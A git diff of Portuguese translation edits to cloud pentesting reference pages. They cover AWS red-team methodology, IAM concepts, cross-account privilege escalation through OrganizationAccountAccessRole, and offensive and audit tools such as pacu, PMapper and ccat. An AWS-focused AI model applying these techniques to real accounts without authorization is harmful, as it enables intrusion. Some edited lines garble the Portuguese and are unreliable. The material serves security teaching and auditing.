 5. **Gerenciamento Inadequado de Endereços IP**
 - **Má configuração:** Falha em gerenciar ou rotacionar endereços IP dedicados adequadamente.
 - **Risco:** Spoofing de IP, vulnerabilidades de rastreamento e potencial blacklist se os IPs estiverem associados a atividades maliciosas.
@@ -409,7 +409,7 @@ Conceder acesso aos logs de auditoria a membros não autorizados do time.
 7. **Falha em Lidar com Segredos de Bypass de Forma Segura**
 - **Má configuração:** Expor ou manusear incorretamente segredos usados para contornar proteções de implantação.
 - **Risco:** Acesso não autorizado a implantações protegidas, permitindo que atacantes manipulem ou implantem código malicioso.
-8. **Ignorar Configurações de Failover de Região**
+8. **Ignorando Configurações de Failover de Região**
 - **Má configuração:** Não configurar regiões de failover passivas ou configurar incorretamente as configurações de failover.
 - **Risco:** Tempo de inatividade do serviço durante interrupções na região primária, levando a disponibilidade reduzida e potencial inconsistência de dados.
 9. **Excedendo Limites de Conexão de Peering VPC**
@@ -423,7 +423,7 @@ Conceder acesso aos logs de auditoria a membros não autorizados do time.
 
 ### Variáveis de Ambiente
 
-**Propósito:** Gerenciar variáveis específicas do ambiente e segredos usados por todos os projetos.
+**Propósito:** Gerenciar variáveis e segredos específicos do ambiente usados por todos os projetos.
 
 #### Configurações de Segurança:
 
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index 0e0fa1140..bd5c918bb 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -4,7 +4,7 @@
 
 ## Informações Básicas
 
-**Antes de começar o pentesting** em um **AWS** ambiente, há algumas **coisas básicas que você precisa saber** sobre como o AWS funciona para ajudá-lo a entender o que você precisa fazer, como encontrar configurações incorretas e como explorá-las.
+**Antes de começar o pentesting** em um **ambiente AWS**, há algumas **coisas básicas que você precisa saber** sobre como a AWS funciona para ajudá-lo a entender o que você precisa fazer, como encontrar configurações incorretas e como explorá-las.
 
 Conceitos como hierarquia organizacional, IAM e outros conceitos básicos são explicados em:
 
@@ -29,7 +29,7 @@ Ferramentas para simular ataques:
 
 ## Metodologia de Pentester/Red Team da AWS
 
-Para auditar um ambiente AWS, é muito importante saber: quais **serviços estão sendo usados**, o que está **sendo exposto**, quem tem **acesso** ao que, e como os serviços internos da AWS e os **serviços externos** estão conectados.
+Para auditar um ambiente AWS, é muito importante saber: quais **serviços estão sendo usados**, o que está **sendo exposto**, quem tem **acesso** a quê, e como os serviços internos da AWS e os **serviços externos** estão conectados.
 
 Do ponto de vista de um Red Team, o **primeiro passo para comprometer um ambiente AWS** é conseguir obter algumas **credenciais**. Aqui estão algumas ideias sobre como fazer isso:
 
@@ -102,8 +102,8 @@ aws-services/aws-organizations-enum.md
 
 Se você tiver permissões suficientes, **verificar os privilégios de cada entidade dentro da conta AWS** ajudará você a entender o que você e outras identidades podem fazer e como **escalar privilégios**.
 
-Se você não tiver permissões suficientes para enumerar IAM, você pode **roubar e forçar** para descobri-los.\
-Verifique **como fazer a enumeração e a força bruta** em:
+Se você não tiver permissões suficientes para enumerar IAM, você pode **roubar forçando** para descobri-los.\
+Verifique **como fazer a numeração e a força bruta** em:
 
 {{#ref}}
 aws-services/aws-iam-enum.md
@@ -152,22 +152,22 @@ https://book.hacktricks.xyz/
 
 ### Da conta root/gestão
 
-Quando a conta de gestão cria novas contas na organização, um **novo papel** é criado na nova conta, por padrão nomeado **`OrganizationAccountAccessRole`** e concedendo a política **AdministratorAccess** à **conta de gestão** para acessar a nova conta.
+Quando a conta de gestão cria novas contas na organização, um **novo papel** é criado na nova conta, por padrão nomeado **`OrganizationAccountAccessRole`** e dando a política **AdministratorAccess** à **conta de gestão** para acessar a nova conta.
 
 <figure><img src="../../images/image (171).png" alt=""><figcaption></figcaption></figure>
 
 Portanto, para acessar como administrador uma conta filha, você precisa:
 
-- **Comprometer** a conta de **gestão** e encontrar o **ID** das **contas filhas** e os **nomes** do **papel** (OrganizationAccountAccessRole por padrão) permitindo que a conta de gestão acesse como admin.
+- **Comprometer** a **conta de gestão** e encontrar o **ID** das **contas filhas** e os **nomes** do **papel** (OrganizationAccountAccessRole por padrão) permitindo que a conta de gestão acesse como admin.
 - Para encontrar contas filhas, vá para a seção de organizações no console da aws ou execute `aws organizations list-accounts`
 - Você não pode encontrar o nome dos papéis diretamente, então verifique todas as políticas IAM personalizadas e procure qualquer uma que permita **`sts:AssumeRole` sobre as contas filhas descobertas anteriormente**.
-- **Comprometer** um **principal** na conta de gestão com **permissão `sts:AssumeRole` sobre o papel nas contas filhas** (mesmo que a conta permita que qualquer um da conta de gestão se passe por ela, como é uma conta externa, permissões específicas de `sts:AssumeRole` são necessárias).
+- **Comprometer** um **principal** na conta de gestão com **permissão `sts:AssumeRole` sobre o papel nas contas filhas** (mesmo que a conta permita que qualquer um da conta de gestão se impersonifique, como é uma conta externa, permissões específicas de `sts:AssumeRole` são necessárias).
 
 ## Ferramentas Automatizadas
 
 ### Recon
 
-- [**aws-recon**](https://github.com/darkbitio/aws-recon): Uma ferramenta de **coleta de inventário** focada em segurança da AWS, escrita em Ruby.
+- [**aws-recon**](https://github.com/darkbitio/aws-recon): Uma ferramenta de **coleta de inventário** focada em segurança da AWS, multi-threaded, escrita em Ruby.
 ```bash
 # Install
 gem install aws_recon
@@ -233,14 +233,14 @@ pip install cartography
 # Get AWS info
 AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt  --neo4j-user neo4j
 ```
-- [**starbase**](https://github.com/JupiterOne/starbase): Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura de nuvem, aplicativos SaaS, controles de segurança e mais, em uma visualização gráfica intuitiva suportada pelo banco de dados Neo4j.
+- [**starbase**](https://github.com/JupiterOne/starbase): Starbase coleta ativos e relacionamentos de serviços e sistemas, incluindo infraestrutura em nuvem, aplicativos SaaS, controles de segurança e mais, em uma visualização gráfica intuitiva suportada pelo banco de dados Neo4j.
 - [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Usa python2) Esta é uma ferramenta que tenta **descobrir todos os** [**recursos da AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) criados em uma conta.
 - [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): É uma ferramenta para **buscar todos os endereços IP públicos** (tanto IPv4/IPv6) associados a uma conta da AWS.
 
 ### Privesc & Exploiting
 
 - [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Descubra os usuários mais privilegiados no ambiente AWS escaneado, incluindo os AWS Shadow Admins. Ele usa powershell. Você pode encontrar a **definição de políticas privilegiadas** na função **`Check-PrivilegedPolicy`** em [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu é um **framework de exploração da AWS** de código aberto, projetado para testes de segurança ofensiva contra ambientes de nuvem. Ele pode **enumerar**, encontrar **configurações incorretas** e **explorá-las**. Você pode encontrar a **definição de permissões privilegiadas** em [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) dentro do dicionário **`user_escalation_methods`**.
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu é um **framework de exploração da AWS** de código aberto, projetado para testes de segurança ofensiva contra ambientes em nuvem. Ele pode **enumerar**, encontrar **configurações incorretas** e **explorá-las**. Você pode encontrar a **definição de permissões privilegiadas** em [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) dentro do dicionário **`user_escalation_methods`**.
 - Observe que o pacu **verifica apenas seus próprios caminhos de privesc** (não em toda a conta).
 ```bash
 # Install
@@ -255,7 +255,7 @@ pacu
 > exec iam__enum_permissions # Get permissions
 > exec iam__privesc_scan # List privileged permissions
 ```
-- [**PMapper**](https://github.com/nccgroup/PMapper): O Principal Mapper (PMapper) é um script e biblioteca para identificar riscos na configuração do AWS Identity and Access Management (IAM) para uma conta AWS ou uma organização AWS. Ele modela os diferentes Usuários e Funções IAM em uma conta como um grafo direcionado, o que permite verificações para **escalonamento de privilégios** e para caminhos alternativos que um atacante poderia seguir para obter acesso a um recurso ou ação na AWS. Você pode verificar as **permissões usadas para encontrar caminhos de privesc** nos arquivos que terminam em `_edges.py` em [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
+- [**PMapper**](https://github.com/nccgroup/PMapper): O Principal Mapper (PMapper) é um script e biblioteca para identificar riscos na configuração do AWS Identity and Access Management (IAM) para uma conta AWS ou uma organização AWS. Ele modela os diferentes Usuários e Funções IAM em uma conta como um grafo direcionado, o que permite verificações para **elevação de privilégios** e para caminhos alternativos que um atacante poderia seguir para obter acesso a um recurso ou ação na AWS. Você pode verificar as **permissões usadas para encontrar caminhos de privesc** nos arquivos que terminam em `_edges.py` em [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
 ```bash
 # Install
 pip install principalmapper
@@ -278,7 +278,7 @@ pmapper --profile dev orgs create
 pmapper --profile dev orgs display
 ```
 - [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining é uma ferramenta de Avaliação de Segurança do AWS IAM que identifica violações do princípio do menor privilégio e gera um relatório HTML priorizado por risco.\
-Ele mostrará clientes **super privilegiados** potenciais, políticas **inline** e **políticas** do aws e quais **principais têm acesso a elas**. (Ele não verifica apenas privesc, mas também outros tipos de permissões interessantes, recomendado para uso).
+Ele mostrará clientes **com privilégios excessivos** potenciais, políticas inline e do aws e quais **principais têm acesso a elas**. (Ele não verifica apenas privesc, mas também outros tipos de permissões interessantes, recomendado para uso).
 ```bash
 # Install
 pip install cloudsplaining
@@ -290,9 +290,9 @@ cloudsplaining download --profile dev
 # Analyze the IAM policies
 cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
 ```
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack avalia contas AWS em busca de **vulnerabilidades de sequestro de subdomínio** como resultado de configurações desacopladas do Route53 e CloudFront.
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack avalia contas AWS em busca de **vulnerabilidades de sequestro de subdomínio** como resultado de configurações desacopladas do Route53 e do CloudFront.
 - [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Listar repositórios ECR -> Puxar repositório ECR -> Inserir backdoor -> Enviar imagem com backdoor
-- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag é uma ferramenta que **busca** através de snapshots públicos do Elastic Block Storage (**EBS**) por segredos que podem ter sido acidentalmente deixados.
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag é uma ferramenta que **busca** em snapshots públicos do Elastic Block Storage (**EBS**) por segredos que podem ter sido acidentalmente deixados.
 
 ### Auditoria
 
@@ -318,7 +318,7 @@ prowler aws --profile custom-profile [-M csv json json-asff html]
 ```bash
 cloudfox aws --profile [profile-name] all-checks
 ```
-- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite é uma ferramenta de auditoria de segurança multi-nuvem de código aberto, que permite a avaliação da postura de segurança de ambientes de nuvem.
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite é uma ferramenta de auditoria de segurança multi-nuvem de código aberto, que permite a avaliação da postura de segurança de ambientes em nuvem.
 ```bash
 # Install
 virtualenv -p python3 venv
@@ -334,8 +334,8 @@ scout aws -p dev
 
 ### Auditoria Contínua
 
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian é um mecanismo de regras para gerenciar contas e recursos de nuvem pública. Ele permite que os usuários **definam políticas para habilitar uma infraestrutura de nuvem bem gerenciada**, que seja segura e otimizada em custos. Ele consolida muitos dos scripts ad hoc que as organizações possuem em uma ferramenta leve e flexível, com métricas e relatórios unificados.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** é uma plataforma para **monitoramento contínuo de conformidade, relatórios de conformidade e automação de segurança para a nuvem**. No PacBot, políticas de segurança e conformidade são implementadas como código. Todos os recursos descobertos pelo PacBot são avaliados em relação a essas políticas para medir a conformidade com as políticas. A estrutura **auto-fix** do PacBot fornece a capacidade de responder automaticamente a violações de políticas, tomando ações predefinidas.
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian é um mecanismo de regras para gerenciar contas e recursos de nuvem pública. Ele permite que os usuários **definam políticas para habilitar uma infraestrutura de nuvem bem gerenciada**, que seja segura e otimizada em custos. Ele consolida muitos dos scripts ad hoc que as organizações têm em uma ferramenta leve e flexível, com métricas e relatórios unificados.
+- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** é uma plataforma para **monitoramento contínuo de conformidade, relatórios de conformidade e automação de segurança para a nuvem**. No PacBot, políticas de segurança e conformidade são implementadas como código. Todos os recursos descobertos pelo PacBot são avaliados em relação a essas políticas para medir a conformidade com as políticas. A estrutura de **auto-fix** do PacBot fornece a capacidade de responder automaticamente a violações de políticas, tomando ações predefinidas.
 - [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert é uma estrutura de análise de dados **em tempo real** sem servidor que permite que você **ingeste, analise e envie alertas** sobre dados de qualquer ambiente, **usando fontes de dados e lógica de alerta que você define**. Equipes de segurança da informação usam o StreamAlert para escanear terabytes de dados de log todos os dias para detecção e resposta a incidentes.
 
 ## DEBUG: Capturar solicitações do AWS cli
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 1275fda9d..bd58487a7 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -10,7 +10,7 @@
 
 No AWS, existe uma **conta root**, que é o **container pai para todas as contas** da sua **organização**. No entanto, você não precisa usar essa conta para implantar recursos, pode criar **outras contas para separar diferentes infraestruturas AWS** entre si.
 
-Isso é muito interessante do ponto de vista de **segurança**, pois **uma conta não poderá acessar recursos de outra conta** (exceto se pontes forem especificamente criadas), assim você pode criar limites entre implantações.
+Isso é muito interessante do ponto de vista de **segurança**, pois **uma conta não poderá acessar recursos de outra conta** (exceto se pontes forem criadas especificamente), assim você pode criar limites entre implantações.
 
 Portanto, existem **dois tipos de contas em uma organização** (estamos falando de contas AWS e não de contas de usuário): uma única conta designada como a conta de gerenciamento e uma ou mais contas membros.
 
@@ -33,29 +33,29 @@ aws organizations create-account --account-name testingaccount --email testingac
 ```
 ### **Unidades de Organização**
 
-As contas podem ser agrupadas em **Unidades de Organização (OU)**. Dessa forma, você pode criar **políticas** para a Unidade de Organização que serão **aplicadas a todas as contas filhas**. Observe que uma OU pode ter outras OUs como filhas.
+Contas podem ser agrupadas em **Unidades de Organização (OU)**. Dessa forma, você pode criar **políticas** para a Unidade de Organização que serão **aplicadas a todas as contas filhas**. Note que uma OU pode ter outras OUs como filhas.
 ```bash
 # You can get the root id from aws organizations list-roots
 aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
 ```
 ### Service Control Policy (SCP)
 
-Uma **política de controle de serviço (SCP)** é uma política que especifica os serviços e ações que usuários e funções podem usar nas contas que a SCP afeta. SCPs são **semelhantes às políticas de permissões do IAM**, exceto que **não concedem permissões**. Em vez disso, as SCPs especificam as **permissões máximas** para uma organização, unidade organizacional (OU) ou conta. Quando você anexa uma SCP à raiz da sua organização ou a uma OU, a **SCP limita as permissões para entidades em contas membros**.
+Uma **service control policy (SCP)** é uma política que especifica os serviços e ações que usuários e funções podem usar nas contas que a SCP afeta. SCPs são **semelhantes às políticas de permissões do IAM**, exceto que **não concedem permissões**. Em vez disso, as SCPs especificam as **permissões máximas** para uma organização, unidade organizacional (OU) ou conta. Quando você anexa uma SCP à raiz da sua organização ou a uma OU, a **SCP limita as permissões para entidades em contas membros**.
 
 Esta é a ÚNICA maneira que **até mesmo o usuário root pode ser impedido** de fazer algo. Por exemplo, pode ser usada para impedir que usuários desativem o CloudTrail ou excluam backups.\
-A única maneira de contornar isso é comprometer também a **conta mestre** que configura as SCPs (a conta mestre não pode ser bloqueada).
+A única maneira de contornar isso é comprometer também a **conta master** que configura as SCPs (a conta master não pode ser bloqueada).
 
 > [!WARNING]
-> Observe que **as SCPs apenas restringem os principais na conta**, portanto, outras contas não são afetadas. Isso significa que ter uma SCP que nega `s3:GetObject` não impedirá as pessoas de **acessar um bucket S3 público** em sua conta.
+> Note que **as SCPs apenas restringem os principais na conta**, então outras contas não são afetadas. Isso significa que ter uma SCP que nega `s3:GetObject` não impedirá as pessoas de **acessar um bucket S3 público** na sua conta.
 
 Exemplos de SCP:
 
 - Negar completamente a conta root
 - Permitir apenas regiões específicas
 - Permitir apenas serviços na lista branca
-- Negar que GuardDuty, CloudTrail e S3 Public Block Access sejam
+- Negar o acesso ao GuardDuty, CloudTrail e S3 Public Block de
 
-desativados
+ser desativado
 
 - Negar que funções de segurança/resposta a incidentes sejam excluídas ou
 
@@ -96,7 +96,7 @@ Quando você cria uma conta da Amazon Web Services (AWS) pela primeira vez, voc
 
 Note que um novo **usuário admin** terá **menos permissões que o usuário root**.
 
-Do ponto de vista de segurança, é recomendado criar outros usuários e evitar usar este.
+Do ponto de vista da segurança, é recomendado criar outros usuários e evitar usar este.
 
 ### [Usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
 
@@ -104,11 +104,11 @@ Um _usuário_ IAM é uma entidade que você cria na AWS para **representar a pes
 
 Quando você cria um usuário IAM, você concede **permissões** tornando-o um **membro de um grupo de usuários** que tem políticas de permissão apropriadas anexadas (recomendado), ou **anexando políticas diretamente** ao usuário.
 
-Os usuários podem ter **MFA habilitado para login** através do console. Tokens de API de usuários com MFA habilitado não são protegidos por MFA. Se você quiser **restringir o acesso das chaves de API de um usuário usando MFA**, você precisa indicar na política que, para realizar certas ações, a MFA precisa estar presente (exemplo [**aqui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
+Os usuários podem ter **MFA habilitado para login** através do console. Tokens de API de usuários com MFA habilitado não são protegidos por MFA. Se você quiser **restringir o acesso das chaves de API de um usuário usando MFA**, você precisa indicar na política que, para realizar certas ações, o MFA precisa estar presente (exemplo [**aqui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
 
 #### CLI
 
-- **ID da Chave de Acesso**: 20 caracteres alfanuméricos aleatórios em maiúsculas, como AKHDNAPO86BSHKDIRYT
+- **ID da Chave de Acesso**: 20 caracteres alfanuméricos aleatórios em maiúsculas como AKHDNAPO86BSHKDIRYT
 - **ID da Chave de Acesso Secreta**: 40 caracteres aleatórios em maiúsculas e minúsculas: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Não é possível recuperar IDs de chave de acesso secreta perdidos).
 
 Sempre que você precisar **mudar a Chave de Acesso**, este é o processo que você deve seguir:\
@@ -117,7 +117,7 @@ Sempre que você precisar **mudar a Chave de Acesso**, este é o processo que vo
 ### MFA - Autenticação de Múltiplos Fatores
 
 É usado para **criar um fator adicional para autenticação** além dos seus métodos existentes, como senha, criando assim um nível de autenticação multifatorial.\
-Você pode usar um **aplicativo virtual gratuito ou um dispositivo físico**. Você pode usar aplicativos como o google authentication gratuitamente para ativar um MFA na AWS.
+Você pode usar um **aplicativo virtual gratuito ou um dispositivo físico**. Você pode usar aplicativos como autenticação do Google gratuitamente para ativar um MFA na AWS.
 
 Políticas com condições de MFA podem ser anexadas aos seguintes:
 
@@ -125,7 +125,7 @@ Políticas com condições de MFA podem ser anexadas aos seguintes:
 - Um recurso como um bucket Amazon S3, fila Amazon SQS ou tópico Amazon SNS
 - A política de confiança de um papel IAM que pode ser assumido por um usuário
 
-Se você quiser **acessar via CLI** um recurso que **verifica a MFA**, você precisa chamar **`GetSessionToken`**. Isso lhe dará um token com informações sobre a MFA.\
+Se você quiser **acessar via CLI** um recurso que **verifica o MFA**, você precisa chamar **`GetSessionToken`**. Isso lhe dará um token com informações sobre o MFA.\
 Note que **as credenciais de `AssumeRole` não contêm essas informações**.
 ```bash
 aws sts get-session-token --serial-number <arn_device> --token-code <code>
@@ -147,7 +147,7 @@ Aqui estão algumas características importantes dos grupos de usuários:
 
 ### [Funções IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
 
-Uma **função IAM** é muito **semelhante** a um **usuário**, na medida em que é uma **identidade com políticas de permissão que determinam o que** pode e não pode fazer na AWS. No entanto, uma função **não tem credenciais** (senha ou chaves de acesso) associadas a ela. Em vez de estar exclusivamente associada a uma pessoa, uma função é destinada a ser **assumida por qualquer um que precise dela (e tenha permissões suficientes)**. Um **usuário IAM pode assumir uma função para temporariamente** assumir diferentes permissões para uma tarefa específica. Uma função pode ser **atribuída a um** [**usuário federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que faz login usando um provedor de identidade externo em vez de IAM.
+Uma **função IAM** é muito **semelhante** a um **usuário**, na medida em que é uma **identidade com políticas de permissão que determinam o que** pode e não pode fazer na AWS. No entanto, uma função **não tem credenciais** (senha ou chaves de acesso) associadas a ela. Em vez de ser exclusivamente associada a uma pessoa, uma função é destinada a ser **assumida por qualquer um que precise dela (e tenha permissões suficientes)**. Um **usuário IAM pode assumir uma função para temporariamente** assumir diferentes permissões para uma tarefa específica. Uma função pode ser **atribuída a um** [**usuário federado**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) que faz login usando um provedor de identidade externo em vez de IAM.
 
 Uma função IAM consiste em **dois tipos de políticas**: uma **política de confiança**, que não pode estar vazia, definindo **quem pode assumir** a função, e uma **política de permissões**, que não pode estar vazia, definindo **o que pode acessar**.
 
@@ -155,9 +155,9 @@ Uma função IAM consiste em **dois tipos de políticas**: uma **política de co
 
 O AWS Security Token Service (STS) é um serviço web que facilita a **emissão de credenciais temporárias e de privilégio limitado**. É especificamente adaptado para:
 
-### [Credenciais temporárias no IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
+### [Credenciais temporárias em IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
 
-**Credenciais temporárias são usadas principalmente com funções IAM**, mas também há outros usos. Você pode solicitar credenciais temporárias que têm um conjunto de permissões mais restrito do que seu usuário IAM padrão. Isso **impede** que você **realize acidentalmente tarefas que não são permitidas** pelas credenciais mais restritas. Um benefício das credenciais temporárias é que elas expiram automaticamente após um período definido. Você tem controle sobre a duração que as credenciais são válidas.
+**Credenciais temporárias são usadas principalmente com funções IAM**, mas também há outros usos. Você pode solicitar credenciais temporárias que têm um conjunto de permissões mais restrito do que seu usuário IAM padrão. Isso **previne** que você **realize acidentalmente tarefas que não são permitidas** pelas credenciais mais restritas. Um benefício das credenciais temporárias é que elas expiram automaticamente após um período definido. Você tem controle sobre a duração que as credenciais são válidas.
 
 ### Políticas
 
@@ -169,7 +169,7 @@ São usadas para atribuir permissões. Existem 2 tipos:
 - Políticas Gerenciadas pelo Cliente: Configuradas por você. Você pode criar políticas com base em políticas gerenciadas pela AWS (modificando uma delas e criando a sua própria), usando o gerador de políticas (uma visualização GUI que ajuda a conceder e negar permissões) ou escrevendo a sua própria.
 
 Por **padrão, o acesso** é **negado**, o acesso será concedido se um papel explícito tiver sido especificado.\
-Se **um único "Negar" existir, ele irá sobrepor o "Permitir"**, exceto para solicitações que usam as credenciais de segurança raiz da conta AWS (que são permitidas por padrão).
+Se **um único "Deny" existir, ele irá sobrepor o "Allow"**, exceto para solicitações que usam as credenciais de segurança raiz da conta AWS (que são permitidas por padrão).
 ```javascript
 {
 "Version": "2012-10-17",  //Version of the policy
@@ -197,8 +197,8 @@ Os [campos específicos que podem ser usados para condições por serviço estã
 
 #### Políticas Inline
 
-Esse tipo de políticas são **atribuídas diretamente** a um usuário, grupo ou função. Assim, elas não aparecem na lista de Políticas, pois qualquer outra pode usá-las.\
-Políticas inline são úteis se você quiser **manter uma relação estrita um-para-um entre uma política e a identidade** à qual ela é aplicada. Por exemplo, você quer ter certeza de que as permissões em uma política não são atribuídas inadvertidamente a uma identidade diferente daquela para a qual foram destinadas. Quando você usa uma política inline, as permissões na política não podem ser anexadas inadvertidamente à identidade errada. Além disso, quando você usa o Console de Gerenciamento da AWS para excluir essa identidade, as políticas incorporadas na identidade também são excluídas. Isso ocorre porque elas fazem parte da entidade principal.
+Esse tipo de políticas é **atribuído diretamente** a um usuário, grupo ou função. Assim, elas não aparecem na lista de Políticas, pois qualquer outra pode usá-las.\
+As políticas inline são úteis se você deseja **manter uma relação estrita um-para-um entre uma política e a identidade** à qual ela é aplicada. Por exemplo, você quer ter certeza de que as permissões em uma política não são atribuídas inadvertidamente a uma identidade diferente daquela para a qual foram destinadas. Quando você usa uma política inline, as permissões na política não podem ser anexadas inadvertidamente à identidade errada. Além disso, quando você usa o AWS Management Console para excluir essa identidade, as políticas incorporadas na identidade também são excluídas. Isso ocorre porque elas fazem parte da entidade principal.
 
 #### Políticas de Bucket de Recursos
 
@@ -206,17 +206,17 @@ Essas são **políticas** que podem ser definidas em **recursos**. **Nem todos o
 
 Se um principal não tiver uma negação explícita sobre eles, e uma política de recurso conceder acesso, então eles são permitidos.
 
-### Limites do IAM
+### Limites IAM
 
-Os limites do IAM podem ser usados para **limitar as permissões que um usuário ou função deve ter acesso**. Dessa forma, mesmo que um conjunto diferente de permissões seja concedido ao usuário por uma **política diferente**, a operação **falhará** se ele tentar usá-las.
+Os limites IAM podem ser usados para **limitar as permissões que um usuário ou função deve ter acesso**. Dessa forma, mesmo que um conjunto diferente de permissões seja concedido ao usuário por uma **política diferente**, a operação **falhará** se ele tentar usá-las.
 
-Um limite é apenas uma política anexada a um usuário que **indica o nível máximo de permissões que o usuário ou função pode ter**. Assim, **mesmo que o usuário tenha acesso de Administrador**, se o limite indicar que ele pode apenas ler buckets S·, esse é o máximo que ele pode fazer.
+Um limite é apenas uma política anexada a um usuário que **indica o nível máximo de permissões que o usuário ou função pode ter**. Portanto, **mesmo que o usuário tenha acesso de Administrador**, se o limite indicar que ele pode apenas ler buckets S·, esse é o máximo que ele pode fazer.
 
 **Isso**, **SCPs** e **seguir o princípio do menor privilégio** são as maneiras de controlar que os usuários não tenham mais permissões do que as que precisam.
 
 ### Políticas de Sessão
 
-Uma política de sessão é uma **política definida quando uma função é assumida** de alguma forma. Isso será como um **limite do IAM para essa sessão**: Isso significa que a política de sessão não concede permissões, mas **as restringe às indicadas na política** (sendo as permissões máximas aquelas que a função possui).
+Uma política de sessão é uma **política definida quando uma função é assumida** de alguma forma. Isso será como um **limite IAM para essa sessão**: Isso significa que a política de sessão não concede permissões, mas **as restringe às indicadas na política** (sendo as permissões máximas aquelas que a função possui).
 
 Isso é útil para **medidas de segurança**: Quando um administrador vai assumir uma função muito privilegiada, ele pode restringir a permissão apenas às indicadas na política de sessão, caso a sessão seja comprometida.
 ```bash
@@ -226,14 +226,14 @@ aws sts assume-role \
 [--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
 [--policy <file://policy.json>]
 ```
-Note que, por padrão, **a AWS pode adicionar políticas de sessão às sessões** que estão prestes a ser geradas por razões de terceiros. Por exemplo, em [funções assumidas do cognito não autenticadas](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por padrão (usando autenticação aprimorada), a AWS gerará **credenciais de sessão com uma política de sessão** que limita os serviços que a sessão pode acessar [**à seguinte lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
+Note que, por padrão, **a AWS pode adicionar políticas de sessão às sessões** que estão prestes a ser geradas por outros motivos. Por exemplo, em [funções assumidas do cognito não autenticadas](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) por padrão (usando autenticação aprimorada), a AWS gerará **credenciais de sessão com uma política de sessão** que limita os serviços que a sessão pode acessar [**à seguinte lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
 
 Portanto, se em algum momento você enfrentar o erro "... porque nenhuma política de sessão permite o ...", e a função tem acesso para realizar a ação, é porque **há uma política de sessão impedindo isso**.
 
 ### Federação de Identidade
 
 A federação de identidade **permite que usuários de provedores de identidade que são externos** à AWS acessem recursos da AWS de forma segura, sem precisar fornecer credenciais de usuário da AWS de uma conta IAM válida.\
-Um exemplo de um provedor de identidade pode ser o seu próprio **Microsoft Active Directory** corporativo (via **SAML**) ou serviços de **OpenID** (como **Google**). O acesso federado permitirá que os usuários dentro dele acessem a AWS.
+Um exemplo de um provedor de identidade pode ser seu próprio **Microsoft Active Directory** corporativo (via **SAML**) ou serviços **OpenID** (como **Google**). O acesso federado permitirá que os usuários dentro dele acessem a AWS.
 
